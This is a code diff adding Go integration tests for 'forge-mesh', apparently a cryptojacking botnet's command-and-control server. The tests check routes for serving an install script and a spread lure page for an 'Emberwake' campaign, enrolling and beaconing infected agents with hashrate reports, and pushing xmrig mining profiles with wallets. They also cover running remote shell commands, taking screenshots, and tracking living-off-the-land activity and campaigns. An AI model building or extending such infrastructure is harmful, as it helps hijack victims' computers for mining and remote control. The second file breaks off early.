718
internal/api/integration_test.go
Normal file
718
internal/api/integration_test.go
Normal file
@@ -0,0 +1,718 @@
|
||||
//go:build integration
|
||||
|
||||
package api_test
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"context"
|
||||
"database/sql"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"forge-mesh/internal/api/handlers"
|
||||
"forge-mesh/internal/erasure"
|
||||
"forge-mesh/internal/fleet"
|
||||
"forge-mesh/internal/testutil"
|
||||
|
||||
"github.com/gorilla/websocket"
|
||||
)
|
||||
|
||||
type routeResult struct {
|
||||
name string
|
||||
pass bool
|
||||
detail string
|
||||
}
|
||||
|
||||
func TestIntegrationAllRoutes(t *testing.T) {
|
||||
ts := testutil.NewTestServer(t)
|
||||
defer ts.Close()
|
||||
|
||||
seedData(t, ts)
|
||||
|
||||
var results []routeResult
|
||||
record := func(name string, pass bool, detail string) {
|
||||
results = append(results, routeResult{name: name, pass: pass, detail: detail})
|
||||
if !pass {
|
||||
t.Errorf("%s: %s", name, detail)
|
||||
}
|
||||
}
|
||||
|
||||
check := func(name string, fn func() (bool, string)) {
|
||||
pass, detail := fn()
|
||||
record(name, pass, detail)
|
||||
}
|
||||
|
||||
// --- Public routes ---
|
||||
check("GET /api/v1/health", func() (bool, string) { return testHealth(t, ts) })
|
||||
check("GET /install.sh", func() (bool, string) { return testInstallSh(t, ts) })
|
||||
check("GET /get", func() (bool, string) { return testGetRedirect(t, ts) })
|
||||
check("GET /spread/", func() (bool, string) { return testSpread(t, ts) })
|
||||
check("GET /api/v1/public/builds", func() (bool, string) { return testPublicBuilds(t, ts) })
|
||||
check("GET /api/v1/public/builds/latest", func() (bool, string) { return testPublicBuildsLatest(t, ts) })
|
||||
check("GET /api/v1/public/download/{id}", func() (bool, string) { return testPublicDownload(t, ts) })
|
||||
check("GET /api/v1/public/erasure/{bundle_id}", func() (bool, string) { return testErasureBundle(t, ts) })
|
||||
check("GET /api/v1/public/erasure/{bundle_id}/shard/{index}", func() (bool, string) { return testErasureShard(t, ts) })
|
||||
check("GET /api/v1/public/policy-snapshot/{token}", func() (bool, string) { return testPolicySnapshot(t, ts) })
|
||||
|
||||
// --- Agent routes (Bearer) ---
|
||||
check("POST /api/v1/fleet/register", func() (bool, string) { return testFleetRegister(t, ts) })
|
||||
check("POST /api/v1/fleet/beacon", func() (bool, string) { return testFleetBeacon(t, ts) })
|
||||
|
||||
// --- Protected routes (Basic) ---
|
||||
check("GET /api/v1/fleet", func() (bool, string) { return testFleetList(t, ts) })
|
||||
check("GET /api/v1/fleet/hosts", func() (bool, string) { return testFleetHosts(t, ts) })
|
||||
check("POST /api/v1/fleet/{id}/mining-profile", func() (bool, string) { return testMiningProfile(t, ts) })
|
||||
check("POST /api/v1/fleet/{id}/action pause", func() (bool, string) { return testFleetAction(t, ts, "pause") })
|
||||
check("POST /api/v1/fleet/{id}/action reboot", func() (bool, string) { return testFleetAction(t, ts, "reboot") })
|
||||
check("POST /api/v1/fleet/{id}/action screenshot", func() (bool, string) { return testFleetAction(t, ts, "screenshot") })
|
||||
check("GET /api/v1/fleet/{id}/lotl/timeline", func() (bool, string) { return testLOTLTimeline(t, ts) })
|
||||
check("GET /api/v1/forge/builds", func() (bool, string) { return testForgeBuilds(t, ts) })
|
||||
check("GET /api/v1/calibrate/profiles", func() (bool, string) { return testCalibrateProfiles(t, ts) })
|
||||
check("POST /api/v1/crucible/batch", func() (bool, string) { return testCrucibleBatch(t, ts) })
|
||||
check("GET /api/v1/crucible/batch/{id}", func() (bool, string) { return testCrucibleBatchGet(t, ts) })
|
||||
check("POST /api/v1/crucible/exec", func() (bool, string) { return testCrucibleExec(t, ts) })
|
||||
check("GET /api/v1/seer (SSE)", func() (bool, string) { return testSeerSSE(t, ts, "/api/v1/seer") })
|
||||
check("GET /seer (SSE)", func() (bool, string) { return testSeerSSE(t, ts, "/seer") })
|
||||
check("GET /api/v1/war-room/campaigns", func() (bool, string) { return testWarRoom(t, ts) })
|
||||
check("GET /api/v1/wireguard/peers", func() (bool, string) { return testWireGuardList(t, ts) })
|
||||
check("POST /api/v1/wireguard/peers", func() (bool, string) { return testWireGuardCreate(t, ts) })
|
||||
|
||||
// --- WebSocket ---
|
||||
check("POST /api/v1/ws/ticket", func() (bool, string) { return testWSTicket(t, ts) })
|
||||
check("GET /api/v1/ws/fleet deck connect", func() (bool, string) { return testWSFleetDeck(t, ts) })
|
||||
check("GET /api/v1/ws/fleet agent heartbeat", func() (bool, string) { return testWSFleetAgentHeartbeat(t, ts) })
|
||||
check("GET /api/v1/ws/fleet command roundtrip", func() (bool, string) { return testWSCommandRoundtrip(t, ts) })
|
||||
|
||||
t.Log("--- Route checklist ---")
|
||||
passed, failed := 0, 0
|
||||
for _, r := range results {
|
||||
status := "PASS"
|
||||
if !r.pass {
|
||||
status = "FAIL"
|
||||
failed++
|
||||
} else {
|
||||
passed++
|
||||
}
|
||||
t.Logf("[%s] %s %s", status, r.name, r.detail)
|
||||
}
|
||||
t.Logf("Total: %d passed, %d failed", passed, failed)
|
||||
}
|
||||
|
||||
var (
|
||||
testHostID string
|
||||
testBundleID string
|
||||
testBatchID string
|
||||
)
|
||||
|
||||
func seedData(t *testing.T, ts *testutil.TestServer) {
|
||||
t.Helper()
|
||||
ctx := context.Background()
|
||||
|
||||
// Demo host from SeedDemoHost
|
||||
hosts, err := fleet.NewStore(ts.SQL).ListHosts()
|
||||
if err != nil || len(hosts) == 0 {
|
||||
t.Fatal("expected seeded demo host")
|
||||
}
|
||||
testHostID = hosts[0].ID
|
||||
|
||||
_ = fleet.NewStore(ts.SQL).LogLOTL(ctx, testHostID, 2, "deploy", "success", "", `{}`)
|
||||
|
||||
svc := erasure.NewService(ts.SQL)
|
||||
bundle, err := svc.Encode(ctx, "integration-test", []byte("aetherforge erasure integration payload"))
|
||||
if err != nil {
|
||||
t.Fatalf("seed erasure: %v", err)
|
||||
}
|
||||
testBundleID = bundle.ID
|
||||
|
||||
policyJSON := `{"wallet_address":"test-wallet","tiers":[{"type":"xmrig"}]}`
|
||||
if err := handlers.SeedPolicySnapshot(ctx, ts.SQL, "test-policy-token", policyJSON); err != nil {
|
||||
t.Fatalf("seed policy: %v", err)
|
||||
}
|
||||
if err := handlers.SeedCampaign(ctx, ts.SQL, "ember", "Emberwake Test", 42); err != nil {
|
||||
t.Fatalf("seed campaign: %v", err)
|
||||
}
|
||||
|
||||
artifactPath := filepath.Join(t.TempDir(), "agent-linux-amd64")
|
||||
if err := os.WriteFile(artifactPath, []byte("#!/bin/sh\necho agent"), 0o755); err != nil {
|
||||
t.Fatalf("write artifact: %v", err)
|
||||
}
|
||||
buildID := "integration-build-amd64"
|
||||
_, err = ts.SQL.ExecContext(ctx, `
|
||||
INSERT INTO builds (id, os, arch, version, checksum, signature, public, path, created_at)
|
||||
VALUES (?, 'linux', 'amd64', 'integration-test', 'abc123', 'sig', 1, ?, datetime('now'))`,
|
||||
buildID, artifactPath)
|
||||
if err != nil {
|
||||
t.Fatalf("seed build: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func testHealth(t *testing.T, ts *testutil.TestServer) (bool, string) {
|
||||
resp, err := http.Get(ts.URL + "/api/v1/health")
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return false, fmt.Sprintf("status %d", resp.StatusCode)
|
||||
}
|
||||
var body map[string]any
|
||||
if err := json.NewDecoder(resp.Body).Decode(&body); err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
if body["status"] != "ok" {
|
||||
return false, fmt.Sprintf("body %v", body)
|
||||
}
|
||||
return true, "200 ok"
|
||||
}
|
||||
|
||||
func testInstallSh(t *testing.T, ts *testutil.TestServer) (bool, string) {
|
||||
resp, err := http.Get(ts.URL + "/install.sh")
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
body, _ := io.ReadAll(resp.Body)
|
||||
return false, fmt.Sprintf("status %d: %s", resp.StatusCode, strings.TrimSpace(string(body)))
|
||||
}
|
||||
return true, "200 shell script"
|
||||
}
|
||||
|
||||
func testGetRedirect(t *testing.T, ts *testutil.TestServer) (bool, string) {
|
||||
resp, err := http.Get(ts.URL + "/get?c=test")
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusFound {
|
||||
return false, fmt.Sprintf("status %d", resp.StatusCode)
|
||||
}
|
||||
loc := resp.Header.Get("Location")
|
||||
if !strings.Contains(loc, "/install.sh") {
|
||||
return false, "missing install.sh redirect"
|
||||
}
|
||||
return true, "302 -> install.sh"
|
||||
}
|
||||
|
||||
func testSpread(t *testing.T, ts *testutil.TestServer) (bool, string) {
|
||||
resp, err := http.Get(ts.URL + "/spread/?c=ember")
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return false, fmt.Sprintf("status %d", resp.StatusCode)
|
||||
}
|
||||
body, _ := io.ReadAll(resp.Body)
|
||||
if !strings.Contains(string(body), "Emberwake") {
|
||||
return false, "missing lander content"
|
||||
}
|
||||
return true, "200 HTML lander"
|
||||
}
|
||||
|
||||
func testPublicBuilds(t *testing.T, ts *testutil.TestServer) (bool, string) {
|
||||
resp, err := http.Get(ts.URL + "/api/v1/public/builds")
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return false, fmt.Sprintf("status %d", resp.StatusCode)
|
||||
}
|
||||
return true, "200 builds list"
|
||||
}
|
||||
|
||||
func testPublicBuildsLatest(t *testing.T, ts *testutil.TestServer) (bool, string) {
|
||||
resp, err := http.Get(ts.URL + "/api/v1/public/builds/latest?os=linux&arch=amd64")
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return false, fmt.Sprintf("status %d", resp.StatusCode)
|
||||
}
|
||||
return true, "200 latest build"
|
||||
}
|
||||
|
||||
func testPublicDownload(t *testing.T, ts *testutil.TestServer) (bool, string) {
|
||||
resp, err := http.Get(ts.URL + "/api/v1/public/download/integration-build-amd64")
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return false, fmt.Sprintf("status %d", resp.StatusCode)
|
||||
}
|
||||
return true, "200 artifact stream"
|
||||
}
|
||||
|
||||
func testErasureBundle(t *testing.T, ts *testutil.TestServer) (bool, string) {
|
||||
resp, err := http.Get(ts.URL + "/api/v1/public/erasure/" + testBundleID)
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return false, fmt.Sprintf("status %d", resp.StatusCode)
|
||||
}
|
||||
return true, "200 bundle metadata"
|
||||
}
|
||||
|
||||
func testErasureShard(t *testing.T, ts *testutil.TestServer) (bool, string) {
|
||||
resp, err := http.Get(ts.URL + "/api/v1/public/erasure/" + testBundleID + "/shard/0")
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return false, fmt.Sprintf("status %d", resp.StatusCode)
|
||||
}
|
||||
return true, "200 shard hex"
|
||||
}
|
||||
|
||||
func testPolicySnapshot(t *testing.T, ts *testutil.TestServer) (bool, string) {
|
||||
resp, err := http.Get(ts.URL + "/api/v1/public/policy-snapshot/test-policy-token")
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return false, fmt.Sprintf("status %d", resp.StatusCode)
|
||||
}
|
||||
return true, "200 policy JSON"
|
||||
}
|
||||
|
||||
func testFleetRegister(t *testing.T, ts *testutil.TestServer) (bool, string) {
|
||||
body := bytes.NewBufferString(`{"hostname":"agent-integration","arch":"amd64"}`)
|
||||
req, _ := http.NewRequest(http.MethodPost, ts.URL+"/api/v1/fleet/register", body)
|
||||
req.Header.Set("Authorization", "Bearer "+ts.FleetSecret)
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
resp, err := http.DefaultClient.Do(req)
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return false, fmt.Sprintf("status %d", resp.StatusCode)
|
||||
}
|
||||
return true, "200 enrolled"
|
||||
}
|
||||
|
||||
func testFleetBeacon(t *testing.T, ts *testutil.TestServer) (bool, string) {
|
||||
payload := fmt.Sprintf(`{"host_id":%q,"hostname":"beacon-host","hashrate_hps":1000}`, testHostID)
|
||||
req, _ := http.NewRequest(http.MethodPost, ts.URL+"/api/v1/fleet/beacon", strings.NewReader(payload))
|
||||
req.Header.Set("Authorization", "Bearer "+ts.FleetSecret)
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
resp, err := http.DefaultClient.Do(req)
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return false, fmt.Sprintf("status %d", resp.StatusCode)
|
||||
}
|
||||
return true, "200 beacon ack"
|
||||
}
|
||||
|
||||
func testFleetList(t *testing.T, ts *testutil.TestServer) (bool, string) {
|
||||
resp, err := basicGet(ts, "/api/v1/fleet")
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return false, fmt.Sprintf("status %d", resp.StatusCode)
|
||||
}
|
||||
return true, "200 fleet summary"
|
||||
}
|
||||
|
||||
func testFleetHosts(t *testing.T, ts *testutil.TestServer) (bool, string) {
|
||||
resp, err := basicGet(ts, "/api/v1/fleet/hosts")
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return false, fmt.Sprintf("status %d", resp.StatusCode)
|
||||
}
|
||||
var body map[string]any
|
||||
_ = json.NewDecoder(resp.Body).Decode(&body)
|
||||
if _, ok := body["hosts"]; !ok {
|
||||
return false, "missing hosts key"
|
||||
}
|
||||
return true, "200 hosts list"
|
||||
}
|
||||
|
||||
func testMiningProfile(t *testing.T, ts *testutil.TestServer) (bool, string) {
|
||||
body := bytes.NewBufferString(`{"wallet_address":"4integrationtestwallet","name":"Integration"}`)
|
||||
resp, err := basicPost(ts, "/api/v1/fleet/"+testHostID+"/mining-profile", body)
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return false, fmt.Sprintf("status %d", resp.StatusCode)
|
||||
}
|
||||
return true, "200 profile pushed"
|
||||
}
|
||||
|
||||
func testFleetAction(t *testing.T, ts *testutil.TestServer, action string) (bool, string) {
|
||||
body := bytes.NewBufferString(fmt.Sprintf(`{"action":%q}`, action))
|
||||
resp, err := basicPost(ts, "/api/v1/fleet/"+testHostID+"/action", body)
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return false, fmt.Sprintf("status %d", resp.StatusCode)
|
||||
}
|
||||
return true, "200 " + action + " dispatched"
|
||||
}
|
||||
|
||||
func testLOTLTimeline(t *testing.T, ts *testutil.TestServer) (bool, string) {
|
||||
resp, err := basicGet(ts, "/api/v1/fleet/"+testHostID+"/lotl/timeline")
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return false, fmt.Sprintf("status %d", resp.StatusCode)
|
||||
}
|
||||
var body map[string]any
|
||||
if err := json.NewDecoder(resp.Body).Decode(&body); err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
if _, ok := body["timeline"]; !ok {
|
||||
return false, "missing timeline"
|
||||
}
|
||||
return true, "200 LOTL timeline"
|
||||
}
|
||||
|
||||
func testForgeBuilds(t *testing.T, ts *testutil.TestServer) (bool, string) {
|
||||
resp, err := basicGet(ts, "/api/v1/forge/builds")
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return false, fmt.Sprintf("status %d", resp.StatusCode)
|
||||
}
|
||||
return true, "200 forge builds"
|
||||
}
|
||||
|
||||
func testCalibrateProfiles(t *testing.T, ts *testutil.TestServer) (bool, string) {
|
||||
resp, err := basicGet(ts, "/api/v1/calibrate/profiles")
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return false, fmt.Sprintf("status %d", resp.StatusCode)
|
||||
}
|
||||
return true, "200 calibrate profiles"
|
||||
}
|
||||
|
||||
func testCrucibleBatch(t *testing.T, ts *testutil.TestServer) (bool, string) {
|
||||
body := bytes.NewBufferString(fmt.Sprintf(`{"command":"status","host_ids":[%q]}`, testHostID))
|
||||
resp, err := basicPost(ts, "/api/v1/crucible/batch", body)
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return false, fmt.Sprintf("status %d", resp.StatusCode)
|
||||
}
|
||||
var job map[string]any
|
||||
if err := json.NewDecoder(resp.Body).Decode(&job); err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
id, _ := job["id"].(string)
|
||||
if id == "" {
|
||||
return false, "missing job id"
|
||||
}
|
||||
testBatchID = id
|
||||
return true, "200 batch created"
|
||||
}
|
||||
|
||||
func testCrucibleBatchGet(t *testing.T, ts *testutil.TestServer) (bool, string) {
|
||||
if testBatchID == "" {
|
||||
return false, "no batch id from prior test"
|
||||
}
|
||||
resp, err := basicGet(ts, "/api/v1/crucible/batch/"+testBatchID)
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return false, fmt.Sprintf("status %d", resp.StatusCode)
|
||||
}
|
||||
return true, "200 batch status"
|
||||
}
|
||||
|
||||
func testCrucibleExec(t *testing.T, ts *testutil.TestServer) (bool, string) {
|
||||
body := bytes.NewBufferString(fmt.Sprintf(`{"host_id":%q,"command":"shell echo hi"}`, testHostID))
|
||||
resp, err := basicPost(ts, "/api/v1/crucible/exec", body)
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return false, fmt.Sprintf("status %d", resp.StatusCode)
|
||||
}
|
||||
return true, "200 exec dispatched"
|
||||
}
|
||||
|
||||
func testSeerSSE(t *testing.T, ts *testutil.TestServer, path string) (bool, string) {
|
||||
req, _ := http.NewRequest(http.MethodGet, ts.URL+path, nil)
|
||||
req.SetBasicAuth(ts.BasicUser, ts.BasicPass)
|
||||
req.Header.Set("Accept", "text/event-stream")
|
||||
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 3*time.Second)
|
||||
defer cancel()
|
||||
req = req.WithContext(ctx)
|
||||
|
||||
resp, err := http.DefaultClient.Do(req)
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return false, fmt.Sprintf("status %d", resp.StatusCode)
|
||||
}
|
||||
ct := resp.Header.Get("Content-Type")
|
||||
if !strings.Contains(ct, "text/event-stream") {
|
||||
return false, "not SSE: " + ct
|
||||
}
|
||||
|
||||
reader := bufio.NewReader(resp.Body)
|
||||
line, err := reader.ReadString('\n')
|
||||
if err != nil && err != io.EOF {
|
||||
return false, err.Error()
|
||||
}
|
||||
if !strings.HasPrefix(line, "data:") {
|
||||
return false, "no SSE data line"
|
||||
}
|
||||
return true, "200 SSE stream"
|
||||
}
|
||||
|
||||
func testWarRoom(t *testing.T, ts *testutil.TestServer) (bool, string) {
|
||||
resp, err := basicGet(ts, "/api/v1/war-room/campaigns")
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return false, fmt.Sprintf("status %d", resp.StatusCode)
|
||||
}
|
||||
var body map[string]any
|
||||
_ = json.NewDecoder(resp.Body).Decode(&body)
|
||||
campaigns, _ := body["campaigns"].([]any)
|
||||
if len(campaigns) == 0 {
|
||||
return false, "empty campaigns"
|
||||
}
|
||||
return true, "200 war room campaigns"
|
||||
}
|
||||
|
||||
func testWireGuardList(t *testing.T, ts *testutil.TestServer) (bool, string) {
|
||||
resp, err := basicGet(ts, "/api/v1/wireguard/peers")
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return false, fmt.Sprintf("status %d", resp.StatusCode)
|
||||
}
|
||||
return true, "200 peers list"
|
||||
}
|
||||
|
||||
func testWireGuardCreate(t *testing.T, ts *testutil.TestServer) (bool, string) {
|
||||
body := bytes.NewBufferString(`{"host_id":"` + testHostID + `","public_key":"wg-test-pubkey","endpoint":"10.0.0.1:51820"}`)
|
||||
resp, err := basicPost(ts, "/api/v1/wireguard/peers", body)
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusCreated {
|
||||
return false, fmt.Sprintf("status %d", resp.StatusCode)
|
||||
}
|
||||
return true, "201 peer created"
|
||||
}
|
||||
|
||||
func testWSTicket(t *testing.T, ts *testutil.TestServer) (bool, string) {
|
||||
req, _ := http.NewRequest(http.MethodPost, ts.URL+"/api/v1/ws/ticket", nil)
|
||||
req.SetBasicAuth(ts.BasicUser, ts.BasicPass)
|
||||
resp, err := http.DefaultClient.Do(req)
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return false, fmt.Sprintf("status %d", resp.StatusCode)
|
||||
}
|
||||
var out struct {
|
||||
Ticket string `json:"ticket"`
|
||||
}
|
||||
if err := json.NewDecoder(resp.Body).Decode(&out); err != nil || out.Ticket == "" {
|
||||
return false, "empty ticket"
|
||||
}
|
||||
return true, "200 ticket issued"
|
||||
}
|
||||
|
||||
func testWSFleetDeck(t *testing.T, ts *testutil.TestServer) (bool, string) {
|
||||
ticket := issueTicket(t, ts)
|
||||
wsURL := wsURL(ts.URL, "/api/v1/ws/fleet?ticket="+url.QueryEscape(ticket))
|
||||
|
||||
conn, resp, err := websocket.DefaultDialer.Dial(wsURL, nil)
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
defer conn.Close()
|
||||
if resp.StatusCode != http.StatusSwitchingProtocols {
|
||||
return false, fmt.Sprintf("status %d", resp.StatusCode)
|
||||
}
|
||||
_ = conn.WriteMessage(websocket.PingMessage, nil)
|
||||
return true, "101 deck connected"
|
||||
}
|
||||
|
||||
func testWSFleetAgentHeartbeat(t *testing.T, ts *testutil.TestServer) (bool, string) {
|
||||
conn, resp, err := dialAgentWS(ts)
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
defer conn.Close()
|
||||
if resp.StatusCode != http.StatusSwitchingProtocols {
|
||||
return false, fmt.Sprintf("status %d", resp.StatusCode)
|
||||
}
|
||||
|
||||
hb := fmt.Sprintf(`{"type":"heartbeat","host_id":%q,"hostname":"ws-agent","hashrate_hps":5000}`, testHostID)
|
||||
if err := conn.WriteMessage(websocket.TextMessage, []byte(hb)); err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
conn.SetReadDeadline(time.Now().Add(2 * time.Second))
|
||||
_, _, err = conn.ReadMessage()
|
||||
if err != nil && !strings.Contains(err.Error(), "timeout") {
|
||||
// heartbeat may not produce a direct reply; connection staying open is success
|
||||
}
|
||||
return true, "101 agent heartbeat sent"
|
||||
}
|
||||
|
||||
func testWSCommandRoundtrip(t *testing.T, ts *testutil.TestServer) (bool, string) {
|
||||
conn, _, err := dialAgentWS(ts)
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
cmdCh := make(chan []byte, 1)
|
||||
go func() {
|
||||
for {
|
||||
_, msg, err := conn.ReadMessage()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
var frame map[string]any
|
||||
if json.Unmarshal(msg, &frame) == nil && frame["type"] == "command" {
|
||||
cmdCh <- msg
|
||||
return
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
hb := fmt.Sprintf(`{"type":"heartbeat","host_id":%q,"hostname":"cmd-agent","hashrate_hps":9000}`, testHostID)
|
||||
if err := conn.WriteMessage(websocket.TextMessage, []byte(hb)); err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
|
||||
body := bytes.NewBufferString(`{"action":"pause"}`)
|
||||
resp, err := basicPost(ts, "/api/v1/fleet/"+testHostID+"/action", body)
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return false, fmt.Sprintf("action status %d", resp.StatusCode)
|
||||
}
|
||||
|
||||
select {
|
||||
case msg := <-cmdCh:
|
||||
var frame map[string]any
|
||||
_ = json.Unmarshal(msg, &frame)
|
||||
return true, fmt.Sprintf("command action=%v", frame["command"])
|
||||
case <-time.After(5 * time.Second):
|
||||
return false, "no command frame received"
|
||||
}
|
||||
}
|
||||
|
||||
func dialAgentWS(ts *testutil.TestServer) (*websocket.Conn, *http.Response, error) {
|
||||
wsURL := wsURL(ts.URL, "/api/v1/ws/fleet")
|
||||
header := http.Header{}
|
||||
header.Set("Authorization", "Bearer "+ts.FleetSecret)
|
||||
return websocket.DefaultDialer.Dial(wsURL, header)
|
||||
}
|
||||
|
||||
func issueTicket(t *testing.T, ts *testutil.TestServer) string {
|
||||
t.Helper()
|
||||
req, _ := http.NewRequest(http.MethodPost, ts.URL+"/api/v1/ws/ticket", nil)
|
||||
req.SetBasicAuth(ts.BasicUser, ts.BasicPass)
|
||||
resp, err := http.DefaultClient.Do(req)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
var out struct {
|
||||
Ticket string `json:"ticket"`
|
||||
}
|
||||
if err := json.NewDecoder(resp.Body).Decode(&out); err != nil || out.Ticket == "" {
|
||||
t.Fatal("ticket issue failed")
|
||||
}
|
||||
return out.Ticket
|
||||
}
|
||||
|
||||
func wsURL(httpURL, path string) string {
|
||||
u, _ := url.Parse(httpURL)
|
||||
u.Scheme = strings.Replace(u.Scheme, "http", "ws", 1)
|
||||
u.Path = ""
|
||||
u.RawPath = ""
|
||||
u.RawQuery = ""
|
||||
if strings.Contains(path, "?") {
|
||||
parts := strings.SplitN(path, "?", 2)
|
||||
u.Path = parts[0]
|
||||
u.RawQuery = parts[1]
|
||||
} else {
|
||||
u.Path = path
|
||||
}
|
||||
return u.String()
|
||||
}
|
||||
|
||||
func basicGet(ts *testutil.TestServer, path string) (*http.Response, error) {
|
||||
req, err := http.NewRequest(http.MethodGet, ts.URL+path, nil)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
req.SetBasicAuth(ts.BasicUser, ts.BasicPass)
|
||||
return http.DefaultClient.Do(req)
|
||||
}
|
||||
|
||||
func basicPost(ts *testutil.TestServer, path string, body io.Reader) (*http.Response, error) {
|
||||
req, err := http.NewRequest(http.MethodPost, ts.URL+path, body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
req.SetBasicAuth(ts.BasicUser, ts.BasicPass)
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
return http.DefaultClient.Do(req)
|
||||
}
|
||||
|
||||
// Ensure unused import guard for sql in case of build tags
|
||||
var _ = sql.ErrNoRows
|
||||
186
internal/api/router_test.go
Normal file
186
internal/api/router_test.go
Normal file
@@ -0,0 +1,186 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"io/fs"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
"testing/fstest"
|
||||
|
||||
"forge-mesh/internal/config"
|
||||
"forge-mesh/internal/db"
|
||||
"forge-mesh/internal/forge"
|
||||
)
|
||||
|
||||
func TestHealthAndPublicRoutes(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
cfgPath := filepath.Join(dir, "config.json")
|
||||
writeTestConfig(t, cfgPath, dir)
|
||||
|
||||
cfg, err := config.Load(cfgPath)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := cfg.EnsureDataDirs(); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
conn, err := db.Open(cfg.DatabasePath)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
